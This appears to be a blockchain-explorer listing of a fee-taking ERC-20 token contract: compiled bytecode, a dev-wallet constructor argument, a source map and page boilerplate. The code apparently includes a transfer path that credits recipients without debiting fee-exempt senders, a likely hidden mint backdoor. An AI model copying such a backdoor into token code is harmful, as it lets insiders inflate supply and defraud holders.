01524260a482015260c40160606040518083038185885af11580156107d7573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906107fc91906113aa565b505042600755506006805460ff60b01b1916600160b01b179055565b60606005805461046190611312565b3360009081526002602090815260408083206001600160a01b0386168452909152812054828110156108a95760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b6064820152608401610592565b6108b633858584036109b7565b5060019392505050565b60006104f1338484610adb565b6000546001600160a01b031633146108f75760405162461bcd60e51b815260040161059290611375565b6001600160a01b03811661095c5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610592565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610a195760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610592565b6001600160a01b038216610a7a5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610592565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610b015760405162461bcd60e51b8152600401610592906113d8565b6001600160a01b038216610b275760405162461bcd60e51b81526004016105929061141d565b60008111610b775760405162461bcd60e51b815260206004820152601d60248201527f616d6f756e74206d7573742062652067726561746572207468616e20300000006044820152606401610592565b600754158015908190610ba357506001600160a01b03841660009081526008602052604090205460ff16155b8015610bc857506001600160a01b03831660009081526008602052604090205460ff16155b15610d4957600654600160b01b900460ff1615610c4357602a610bea60035490565b610bf49190611460565b821115610c435760405162461bcd60e51b815260206004820152601760248201527f5472616e73666572206c696d69742065786365656465640000000000000000006044820152606401610592565b600654600090600160a81b900460ff168015610c695750600654600160a01b900460ff16155b15610c9a576006805460ff60a01b1916600160a01b179055610c8c858583610d93565b6006805460ff60a01b191690555b6001600160a01b03841660009081526009602052604090205460ff168015610cc25750600081115b15610ce4576064610cd38285611482565b610cdd9190611460565b9050610d2a565b600081118015610d0c57506001600160a01b03851660009081526009602052604090205460ff165b15610d2a576064610d1d8285611482565b610d279190611460565b90505b8015610d3b57610d3b85308361102d565b610d458184611499565b9250505b808015610d6e57506001600160a01b03841660009081526008602052604090205460ff165b15610d8257610d7d8383611182565b610d8d565b610d8d84848461102d565b50505050565b8015610f2f573060009081526001602090815260408083205481516002808252606082018452919493909290830190803683370190505090503081600081518110610de057610de06114ac565b60200260200101906001600160a01b031690816001600160a01b0316815250507f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610e5e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e8291906114c2565b81600181518110610e9557610e956114ac565b6001600160a01b03928316602091820292909201015260405163791ac94760e01b81527f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d9091169063791ac94790610efa9085906000908690309042906004016114df565b600060405180830381600087803b158015610f1457600080fd5b505af1158015610f28573d6000803e3d6000fd5b5050505050505b6040516bffffffffffffffffffffffff19606085811b8216602084015284901b1660348201526000906001600160a01b037f000000000000000000000000230a7770929ad130efe07b0091d5f5c049329efb1690479060480160408051601f1981840301815290829052610fa291611550565b60006040518083038185875af1925050503d8060008114610fdf576040519150601f19603f3d011682016040523d82523d6000602084013e610fe4565b606091505b50508091505080610d8d5760405162461bcd60e51b815260206004820152601360248201527211551208151c985b9cd9995c8819985a5b1959606a1b6044820152606401610592565b6001600160a01b0383166110535760405162461bcd60e51b8152600401610592906113d8565b6001600160a01b0382166110795760405162461bcd60e51b81526004016105929061141d565b6001600160a01b038316600090815260016020526040902054818110156110f15760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b6064820152608401610592565b6001600160a01b03808516600090815260016020526040808220858503905591851681529081208054849290611128908490611362565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161117491815260200190565b60405180910390a350505050565b6001600160a01b0382166111a85760405162461bcd60e51b81526004016105929061141d565b6001600160a01b038216600090815260016020526040812080548392906111d0908490611362565b90915550505050565b60005b838110156111f45781810151838201526020016111dc565b50506000910152565b602081526000825180602084015261121c8160408501602087016111d9565b601f01601f19169190910160400192915050565b6001600160a01b038116811461124557600080fd5b50565b6000806040838503121561125b57600080fd5b823561126681611230565b946020939093013593505050565b60008060006060848603121561128957600080fd5b833561129481611230565b925060208401356112a481611230565b929592945050506040919091013590565b6000602082840312156112c757600080fd5b81356112d281611230565b9392505050565b600080604083850312156112ec57600080fd5b82356112f781611230565b9150602083013561130781611230565b809150509250929050565b600181811c9082168061132657607f821691505b60208210810361134657634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b808201808211156104f5576104f561134c565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b6000806000606084860312156113bf57600080fd5b8351925060208401519150604084015190509250925092565b60208082526025908201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604082015264647265737360d81b606082015260800190565b60208082526023908201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260408201526265737360e81b606082015260800190565b60008261147d57634e487b7160e01b600052601260045260246000fd5b500490565b80820281158282048414176104f5576104f561134c565b818103818111156104f5576104f561134c565b634e487b7160e01b600052603260045260246000fd5b6000602082840312156114d457600080fd5b81516112d281611230565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b8181101561152f5784516001600160a01b03168352938301939183019160010161150a565b50506001600160a01b03969096166060850152505050608001529392505050565b600082516115628184602087016111d9565b919091019291505056fea264697066735822122082eff9a22b2cc30d2a222784bf0501099259f4ab6a4000f36fe1fefedf8f4b3f64736f6c63430008130033
Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)
000000000000000000000000230a7770929ad130efe07b0091d5f5c049329efb
-----Decoded View---------------
Arg [0] : devWallet_ (address): 0x230A7770929Ad130EFE07B0091d5f5C049329eFB
-----Encoded View---------------
1 Constructor Arguments found :
Arg [0] : 000000000000000000000000230a7770929ad130efe07b0091d5f5c049329efb
Deployed Bytecode Sourcemap
9957:4084:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4160:100;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5215:210;;;;;;;;;;-1:-1:-1;5215:210:0;;;;;:::i;:::-;;:::i;:::-;;;1291:14:1;;1284:22;1266:41;;1254:2;1239:18;5215:210:0;1126:187:1;4481:108:0;;;;;;;;;;-1:-1:-1;4569:12:0;;4481:108;;;1464:25:1;;;1452:2;1437:18;4481:108:0;1318:177:1;5433:620:0;;;;;;;;;;-1:-1:-1;5433:620:0;;;;;:::i;:::-;;:::i;11279:92::-;;;;;;;;;;-1:-1:-1;11279:92:0;;10023:1;2103:36:1;;2091:2;2076:18;11279:92:0;1961:184:1;6061:297:0;;;;;;;;;;-1:-1:-1;6061:297:0;;;;;:::i;:::-;;:::i;10189:27::-;;;;;;;;;;-1:-1:-1;10189:27:0;;;;-1:-1:-1;;;10189:27:0;;;;;;10085:28;;;;;;;;;;-1:-1:-1;10085:28:0;;;;-1:-1:-1;;;;;10085:28:0;;;;;;-1:-1:-1;;;;;2314:32:1;;;2296:51;;2284:2;2269:18;10085:28:0;2150:203:1;10152:30:0;;;;;;;;;;-1:-1:-1;10152:30:0;;;;-1:-1:-1;;;10152:30:0;;;;;;11379:119;;;;;;;;;;-1:-1:-1;11379:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;11472:18:0;11445:7;11472:18;;;:9;:18;;;;;;;11379:119;9513:148;;;;;;;;;;;;;:::i;:::-;;13958:80;;;;;;;;;;;;;:::i;13594:356::-;;;:::i;9299:79::-;;;;;;;;;;-1:-1:-1;9337:7:0;9364:6;-1:-1:-1;;;;;9364:6:0;9299:79;;10033:45;;;;;;;;;;;;;;;4268:104;;;;;;;;;;;;;:::i;6366:482::-;;;;;;;;;;-1:-1:-1;6366:482:0;;;;;:::i;:::-;;:::i;4782:216::-;;;;;;;;;;-1:-1:-1;4782:216:0;;;;;:::i;:::-;;:::i;10225:25::-;;;;;;;;;;;;;;;;10360:47;;;;;;;;;;-1:-1:-1;10360:47:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;5006:201;;;;;;;;;;-1:-1:-1;5006:201:0;;;;;:::i;:::-;-1:-1:-1;;;;;5172:18:0;;;5140:7;5172:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;5006:201;9669:281;;;;;;;;;;-1:-1:-1;9669:281:0;;;;;:::i;:::-;;:::i;4160:100::-;4214:13;4247:5;4240:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4160:100;:::o;5215:210::-;5334:4;5356:39;339:10;5379:7;5388:6;5356:8;:39::i;:::-;-1:-1:-1;5413:4:0;5215:210;;;;;:::o;5433:620::-;5573:4;5590:36;5600:6;5608:9;5619:6;5590:9;:36::i;:::-;-1:-1:-1;;;;;5666:19:0;;5639:24;5666:19;;;:11;:19;;;;;;;;339:10;5666:33;;;;;;;;-1:-1:-1;;5713:37:0;;5710:314;;5814:6;5794:16;:26;;5768:128;;;;-1:-1:-1;;;5768:128:0;;3822:2:1;5768:128:0;;;3804:21:1;3861:2;3841:18;;;3834:30;3900:34;3880:18;;;3873:62;-1:-1:-1;;;3951:18:1;;;3944:38;3999:19;;5768:128:0;;;;;;;;;5940:57;5949:6;339:10;5990:6;5971:16;:25;5940:8;:57::i;:::-;-1:-1:-1;6041:4:0;;5433:620;-1:-1:-1;;;;5433:620:0:o;6061:297::-;339:10;6176:4;6270:25;;;:11;:25;;;;;;;;-1:-1:-1;;;;;6270:34:0;;;;;;;;;;6176:4;;6198:130;;6248:7;;6270:47;;6307:10;;6270:47;:::i;:::-;6198:8;:130::i;9513:148::-;9426:6;;-1:-1:-1;;;;;9426:6:0;339:10;9426:22;9418:67;;;;-1:-1:-1;;;9418:67:0;;;;;;;:::i;:::-;9620:1:::1;9604:6:::0;;9583:40:::1;::::0;-1:-1:-1;;;;;9604:6:0;;::::1;::::0;9583:40:::1;::::0;9620:1;;9583:40:::1;9651:1;9634:19:::0;;-1:-1:-1;;;;;;9634:19:0::1;::::0;;9513:148::o;13958:80::-;9426:6;;-1:-1:-1;;;;;9426:6:0;339:10;9426:22;9418:67;;;;-1:-1:-1;;;9418:67:0;;;;;;;:::i;:::-;14014:8:::1;:16:::0;;-1:-1:-1;;;;14014:16:0::1;::::0;;13958:80::o;13594:356::-;9426:6;;-1:-1:-1;;;;;9426:6:0;339:10;9426:22;9418:67;;;;-1:-1:-1;;;9418:67:0;;;;;;;:::i;:::-;13665:10:::1;::::0;:15;13657:54:::1;;;::::0;-1:-1:-1;;;13657:54:0;;4854:2:1;13657:54:0::1;::::0;::::1;4836:21:1::0;4893:2;4873:18;;;4866:30;4932:28;4912:18;;;4905:56;4978:18;;13657:54:0::1;4652:350:1::0;13657:54:0::1;13722:8;:16:::0;;-1:-1:-1;;;;13722:16:0::1;::::0;;-1:-1:-1;;;;;13749:11:0::1;:27;;13784:21;13815:4;13821:24;13815:4:::0;-1:-1:-1;;;;;11472:18:0;11445:7;11472:18;;;:9;:18;;;;;;;11379:119;13821:24:::1;13749:128;::::0;-1:-1:-1;;;;;;13749:128:0::1;::::0;;;;;;-1:-1:-1;;;;;5366:15:1;;;13749:128:0::1;::::0;::::1;5348:34:1::0;5398:18;;;5391:34;13846:1:0::1;5441:18:1::0;;;5434:34;;;5484:18;;;5477:34;13850:10:0::1;5527:19:1::0;;;5520:44;13861:15:0::1;5580:19:1::0;;;5573:35;5282:19;;13749:128:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;13901:15:0::1;13888:10;:28:::0;-1:-1:-1;13927:8:0::1;:15:::0;;-1:-1:-1;;;;13927:15:0::1;-1:-1:-1::0;;;13927:15:0::1;::::0;;13594:356::o;4268:104::-;4324:13;4357:7;4350:14;;;;;:::i;6366:482::-;339:10;6486:4;6535:25;;;:11;:25;;;;;;;;-1:-1:-1;;;;;6535:34:0;;;;;;;;;;6602:35;;;;6580:122;;;;-1:-1:-1;;;6580:122:0;;6132:2:1;6580:122:0;;;6114:21:1;6171:2;6151:18;;;6144:30;6210:34;6190:18;;;6183:62;-1:-1:-1;;;6261:18:1;;;6254:35;6306:19;;6580:122:0;5930:401:1;6580:122:0;6738:67;339:10;6761:7;6789:15;6770:16;:34;6738:8;:67::i;:::-;-1:-1:-1;6836:4:0;;6366:482;-1:-1:-1;;;6366:482:0:o;4782:216::-;4904:4;4926:42;339:10;4950:9;4961:6;4926:9;:42::i;9669:281::-;9426:6;;-1:-1:-1;;;;;9426:6:0;339:10;9426:22;9418:67;;;;-1:-1:-1;;;9418:67:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;9772:22:0;::::1;9750:110;;;::::0;-1:-1:-1;;;9750:110:0;;6538:2:1;9750:110:0::1;::::0;::::1;6520:21:1::0;6577:2;6557:18;;;6550:30;6616:34;6596:18;;;6589:62;-1:-1:-1;;;6667:18:1;;;6660:36;6713:19;;9750:110:0::1;6336:402:1::0;9750:110:0::1;9897:6;::::0;;9876:38:::1;::::0;-1:-1:-1;;;;;9876:38:0;;::::1;::::0;9897:6;::::1;::::0;9876:38:::1;::::0;::::1;9925:6;:17:::0;;-1:-1:-1;;;;;;9925:17:0::1;-1:-1:-1::0;;;;;9925:17:0;;;::::1;::::0;;;::::1;::::0;;9669:281::o;7750:380::-;-1:-1:-1;;;;;7886:19:0;;7878:68;;;;-1:-1:-1;;;7878:68:0;;6945:2:1;7878:68:0;;;6927:21:1;6984:2;6964:18;;;6957:30;7023:34;7003:18;;;6996:62;-1:-1:-1;;;7074:18:1;;;7067:34;7118:19;;7878:68:0;6743:400:1;7878:68:0;-1:-1:-1;;;;;7965:21:0;;7957:68;;;;-1:-1:-1;;;7957:68:0;;7350:2:1;7957:68:0;;;7332:21:1;7389:2;7369:18;;;7362:30;7428:34;7408:18;;;7401:62;-1:-1:-1;;;7479:18:1;;;7472:32;7521:19;;7957:68:0;7148:398:1;7957:68:0;-1:-1:-1;;;;;8038:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;8090:32;;1464:25:1;;;8090:32:0;;1437:18:1;8090:32:0;;;;;;;7750:380;;;:::o;11506:1381::-;-1:-1:-1;;;;;11638:18:0;;11630:68;;;;-1:-1:-1;;;11630:68:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;11717:16:0;;11709:64;;;;-1:-1:-1;;;11709:64:0;;;;;;;:::i;:::-;11801:1;11792:6;:10;11784:52;;;;-1:-1:-1;;;11784:52:0;;8563:2:1;11784:52:0;;;8545:21:1;8602:2;8582:18;;;8575:30;8641:31;8621:18;;;8614:59;8690:18;;11784:52:0;8361:353:1;11784:52:0;11871:10;;:14;;;;;;11902:46;;-1:-1:-1;;;;;;11923:25:0;;;;;;:19;:25;;;;;;;;11922:26;11902:46;:74;;;;-1:-1:-1;;;;;;11953:23:0;;;;;;:19;:23;;;;;;;;11952:24;11902:74;11898:801;;;11997:8;;-1:-1:-1;;;11997:8:0;;;;11993:113;;;12060:2;12044:13;4569:12;;;4481:108;12044:13;:18;;;;:::i;:::-;12034:6;:28;;12026:64;;;;-1:-1:-1;;;12026:64:0;;9143:2:1;12026:64:0;;;9125:21:1;9182:2;9162:18;;;9155:30;9221:25;9201:18;;;9194:53;9264:18;;12026:64:0;8941:347:1;12026:64:0;12157:11;;12122:12;;-1:-1:-1;;;12157:11:0;;;;:26;;;;-1:-1:-1;12173:10:0;;-1:-1:-1;;;12173:10:0;;;;12172:11;12157:26;12153:166;;;12204:10;:17;;-1:-1:-1;;;;12204:17:0;-1:-1:-1;;;12204:17:0;;;12240:26;12251:4;12257:2;12261:4;12240:10;:26::i;:::-;12285:10;:18;;-1:-1:-1;;;;12285:18:0;;;12153:166;-1:-1:-1;;;;;12337:19:0;;;;;;:15;:19;;;;;;;;:31;;;;;12367:1;12360:4;:8;12337:31;12333:221;;;12414:3;12397:13;12406:4;12397:6;:13;:::i;:::-;12396:21;;;;:::i;:::-;12389:28;;12333:221;;;12463:1;12456:4;:8;:33;;;;-1:-1:-1;;;;;;12468:21:0;;;;;;:15;:21;;;;;;;;12456:33;12452:102;;;12535:3;12518:13;12527:4;12518:6;:13;:::i;:::-;12517:21;;;;:::i;:::-;12510:28;;12452:102;12572:8;;12568:91;;12601:42;12617:4;12631;12638;12601:15;:42::i;:::-;12673:14;12683:4;12673:14;;:::i;:::-;;;11978:721;11898:801;12713:16;:45;;;;-1:-1:-1;;;;;;12733:25:0;;;;;;:19;:25;;;;;;;;12713:45;12709:171;;;12775:27;12791:2;12795:6;12775:15;:27::i;:::-;12709:171;;;12835:33;12851:4;12857:2;12861:6;12835:15;:33::i;:::-;11619:1268;11506:1381;;;:::o;12895:691::-;12977:7;;12973:435;;13040:4;12999:20;11472:18;;;:9;:18;;;;;;;;;13083:16;;13097:1;13083:16;;;;;;;;11472:18;;12999:20;13083:16;;;;;;11472:18;13083:16;;;;;-1:-1:-1;13083:16:0;13059:40;;13130:4;13112;13117:1;13112:7;;;;;;;;:::i;:::-;;;;;;:23;-1:-1:-1;;;;;13112:23:0;;;-1:-1:-1;;;;;13112:23:0;;;;;13158:11;-1:-1:-1;;;;;13158:16:0;;:18;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;13148:4;13153:1;13148:7;;;;;;;;:::i;:::-;-1:-1:-1;;;;;13148:28:0;;;:7;;;;;;;;;:28;13191:205;;-1:-1:-1;;;13191:205:0;;:11;:62;;;;;;:205;;13270:12;;13299:1;;13317:4;;13346;;13368:15;;13191:205;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;12986:422;;12973:435;13500:26;;-1:-1:-1;;11331:2:1;11327:15;;;11323:24;;13500:26:0;;;11311:37:1;11382:15;;;11378:24;11364:12;;;11357:46;13418:12:0;;-1:-1:-1;;;;;13455:9:0;:14;;13477:21;;11419:12:1;;13500:26:0;;;-1:-1:-1;;13500:26:0;;;;;;;;;;13455:72;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;13441:86;;;;;13547:7;13539:39;;;;-1:-1:-1;;;13539:39:0;;11936:2:1;13539:39:0;;;11918:21:1;11975:2;11955:18;;;11948:30;-1:-1:-1;;;11994:18:1;;;11987:49;12053:18;;13539:39:0;11734:343:1;7091:651:0;-1:-1:-1;;;;;7231:20:0;;7223:70;;;;-1:-1:-1;;;7223:70:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;7312:23:0;;7304:71;;;;-1:-1:-1;;;7304:71:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;7412:17:0;;7388:21;7412:17;;;:9;:17;;;;;;7462:23;;;;7440:111;;;;-1:-1:-1;;;7440:111:0;;12284:2:1;7440:111:0;;;12266:21:1;12323:2;12303:18;;;12296:30;12362:34;12342:18;;;12335:62;-1:-1:-1;;;12413:18:1;;;12406:36;12459:19;;7440:111:0;12082:402:1;7440:111:0;-1:-1:-1;;;;;7587:17:0;;;;;;;:9;:17;;;;;;7607:22;;;7587:42;;7651:20;;;;;;;;:30;;7623:6;;7587:17;7651:30;;7623:6;;7651:30;:::i;:::-;;;;;;;;7716:9;-1:-1:-1;;;;;7699:35:0;7708:6;-1:-1:-1;;;;;7699:35:0;;7727:6;7699:35;;;;1464:25:1;;1452:2;1437:18;;1318:177;7699:35:0;;;;;;;;7212:530;7091:651;;;:::o;6856:227::-;-1:-1:-1;;;;;6971:23:0;;6963:71;;;;-1:-1:-1;;;6963:71:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;7045:20:0;;;;;;:9;:20;;;;;:30;;7069:6;;7045:20;:30;;7069:6;;7045:30;:::i;:::-;;;;-1:-1:-1;;;;6856:227:0:o;14:250:1:-;99:1;109:113;123:6;120:1;117:13;109:113;;;199:11;;;193:18;180:11;;;173:39;145:2;138:10;109:113;;;-1:-1:-1;;256:1:1;238:16;;231:27;14:250::o;269:396::-;418:2;407:9;400:21;381:4;450:6;444:13;493:6;488:2;477:9;473:18;466:34;509:79;581:6;576:2;565:9;561:18;556:2;548:6;544:15;509:79;:::i;:::-;649:2;628:15;-1:-1:-1;;624:29:1;609:45;;;;656:2;605:54;;269:396;-1:-1:-1;;269:396:1:o;670:131::-;-1:-1:-1;;;;;745:31:1;;735:42;;725:70;;791:1;788;781:12;725:70;670:131;:::o;806:315::-;874:6;882;935:2;923:9;914:7;910:23;906:32;903:52;;;951:1;948;941:12;903:52;990:9;977:23;1009:31;1034:5;1009:31;:::i;:::-;1059:5;1111:2;1096:18;;;;1083:32;;-1:-1:-1;;;806:315:1:o;1500:456::-;1577:6;1585;1593;1646:2;1634:9;1625:7;1621:23;1617:32;1614:52;;;1662:1;1659;1652:12;1614:52;1701:9;1688:23;1720:31;1745:5;1720:31;:::i;:::-;1770:5;-1:-1:-1;1827:2:1;1812:18;;1799:32;1840:33;1799:32;1840:33;:::i;:::-;1500:456;;1892:7;;-1:-1:-1;;;1946:2:1;1931:18;;;;1918:32;;1500:456::o;2358:247::-;2417:6;2470:2;2458:9;2449:7;2445:23;2441:32;2438:52;;;2486:1;2483;2476:12;2438:52;2525:9;2512:23;2544:31;2569:5;2544:31;:::i;:::-;2594:5;2358:247;-1:-1:-1;;;2358:247:1:o;2842:388::-;2910:6;2918;2971:2;2959:9;2950:7;2946:23;2942:32;2939:52;;;2987:1;2984;2977:12;2939:52;3026:9;3013:23;3045:31;3070:5;3045:31;:::i;:::-;3095:5;-1:-1:-1;3152:2:1;3137:18;;3124:32;3165:33;3124:32;3165:33;:::i;:::-;3217:7;3207:17;;;2842:388;;;;;:::o;3235:380::-;3314:1;3310:12;;;;3357;;;3378:61;;3432:4;3424:6;3420:17;3410:27;;3378:61;3485:2;3477:6;3474:14;3454:18;3451:38;3448:161;;3531:10;3526:3;3522:20;3519:1;3512:31;3566:4;3563:1;3556:15;3594:4;3591:1;3584:15;3448:161;;3235:380;;;:::o;4029:127::-;4090:10;4085:3;4081:20;4078:1;4071:31;4121:4;4118:1;4111:15;4145:4;4142:1;4135:15;4161:125;4226:9;;;4247:10;;;4244:36;;;4260:18;;:::i;4291:356::-;4493:2;4475:21;;;4512:18;;;4505:30;4571:34;4566:2;4551:18;;4544:62;4638:2;4623:18;;4291:356::o;5619:306::-;5707:6;5715;5723;5776:2;5764:9;5755:7;5751:23;5747:32;5744:52;;;5792:1;5789;5782:12;5744:52;5821:9;5815:16;5805:26;;5871:2;5860:9;5856:18;5850:25;5840:35;;5915:2;5904:9;5900:18;5894:25;5884:35;;5619:306;;;;;:::o;7551:401::-;7753:2;7735:21;;;7792:2;7772:18;;;7765:30;7831:34;7826:2;7811:18;;7804:62;-1:-1:-1;;;7897:2:1;7882:18;;7875:35;7942:3;7927:19;;7551:401::o;7957:399::-;8159:2;8141:21;;;8198:2;8178:18;;;8171:30;8237:34;8232:2;8217:18;;8210:62;-1:-1:-1;;;8303:2:1;8288:18;;8281:33;8346:3;8331:19;;7957:399::o;8719:217::-;8759:1;8785;8775:132;;8829:10;8824:3;8820:20;8817:1;8810:31;8864:4;8861:1;8854:15;8892:4;8889:1;8882:15;8775:132;-1:-1:-1;8921:9:1;;8719:217::o;9293:168::-;9366:9;;;9397;;9414:15;;;9408:22;;9394:37;9384:71;;9435:18;;:::i;9466:128::-;9533:9;;;9554:11;;;9551:37;;;9568:18;;:::i;9731:127::-;9792:10;9787:3;9783:20;9780:1;9773:31;9823:4;9820:1;9813:15;9847:4;9844:1;9837:15;9863:251;9933:6;9986:2;9974:9;9965:7;9961:23;9957:32;9954:52;;;10002:1;9999;9992:12;9954:52;10034:9;10028:16;10053:31;10078:5;10053:31;:::i;10119:980::-;10381:4;10429:3;10418:9;10414:19;10460:6;10449:9;10442:25;10486:2;10524:6;10519:2;10508:9;10504:18;10497:34;10567:3;10562:2;10551:9;10547:18;10540:31;10591:6;10626;10620:13;10657:6;10649;10642:22;10695:3;10684:9;10680:19;10673:26;;10734:2;10726:6;10722:15;10708:29;;10755:1;10765:195;10779:6;10776:1;10773:13;10765:195;;;10844:13;;-1:-1:-1;;;;;10840:39:1;10828:52;;10935:15;;;;10900:12;;;;10876:1;10794:9;10765:195;;;-1:-1:-1;;;;;;;11016:32:1;;;;11011:2;10996:18;;10989:60;-1:-1:-1;;;11080:3:1;11065:19;11058:35;10977:3;10119:980;-1:-1:-1;;;10119:980:1:o;11442:287::-;11571:3;11609:6;11603:13;11625:66;11684:6;11679:3;11672:4;11664:6;11660:17;11625:66;:::i;:::-;11707:16;;;;;11442:287;-1:-1:-1;;11442:287:1:o
Swarm Source
ipfs://82eff9a22b2cc30d2a222784bf0501099259f4ab6a4000f36fe1fefedf8f4b3f
Loading...
Loading
Loading...
Loading
Multichain Portfolio | 26 Chains
Chain | Token | Portfolio % | Price | Amount | Value |
---|
Loading...
Loading
[ Download: CSV Export ]
[ Download: CSV Export ]
A contract address hosts a smart contract, which is a set of code stored on the blockchain that runs when predetermined conditions are met. Learn more about addresses in our Knowledge Base.